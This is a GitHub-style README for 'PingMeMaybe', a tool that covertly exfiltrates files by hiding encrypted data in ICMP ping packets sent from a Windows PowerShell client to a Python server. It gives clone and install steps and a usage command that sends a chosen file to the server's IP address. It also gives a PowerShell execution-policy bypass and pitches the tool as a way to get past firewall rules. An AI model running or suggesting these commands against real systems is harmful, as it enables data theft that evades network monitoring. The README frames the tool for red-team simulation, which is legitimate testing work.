PingMeMaybe👻

Covert ICMP-based file exfiltration tool
Encrypted file transfer over ICMP echo requests for stealthy data smuggling.

---

Overview

PingMeMaybe is a stealthy, encrypted file exfiltration tool leveraging ICMP echo request packets (ping) to covertly transmit files between a Windows client (PowerShell) and a server (Python).
This tool is designed for red teamers and penetration testers who want to simulate data exfiltration via ICMP a commonly allowed protocol that can bypass many firewall rules.

Installation

Server Requirements

• Python 3.7+
• Required Python packages:
  • cryptography
  • rich

Download

Clone the repository or download the scripts manually:

git clone https://github.com/MAXIVA11/PingMeMaybe.git
cd PingMeMaybe
pip install -r requirements.txt

Usage

Server

Run the Python server script with root privileges to listen for incoming ICMP packets:

sudo python3 server.py

On startup, the server will generate and display a random AES-GCM key. Copy this key exactly as shown you will need it on the client side.

Client

Run the PowerShell client script on a Windows machine with the following parameters:

.\Invoke-PingMeMaybe.ps1 -Target <Server_IP> -File <Path_to_File> -HexKey <AES-GCM_Key>

• Target: The IP address of the machine running the server.

• File: The full path to the file you want to exfiltrate.

• HexKey: The AES-GCM key generated by the server (copy-paste exactly).

Notes

• PowerShell 7+ is recommended for AES-GCM support; if unavailable, the script falls back to AES-CBC+HMAC encryption.

• Make sure ICMP echo requests are allowed through firewalls on both client and server

• If you get a "running scripts is disabled" error in PowerShell, temporarily bypass the execution policy with:

  Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force

Photos

Server Console Example

Client Console Example

---

Contribution

Contributions, issues, and feature requests are welcome!
Feel free to check the issues page.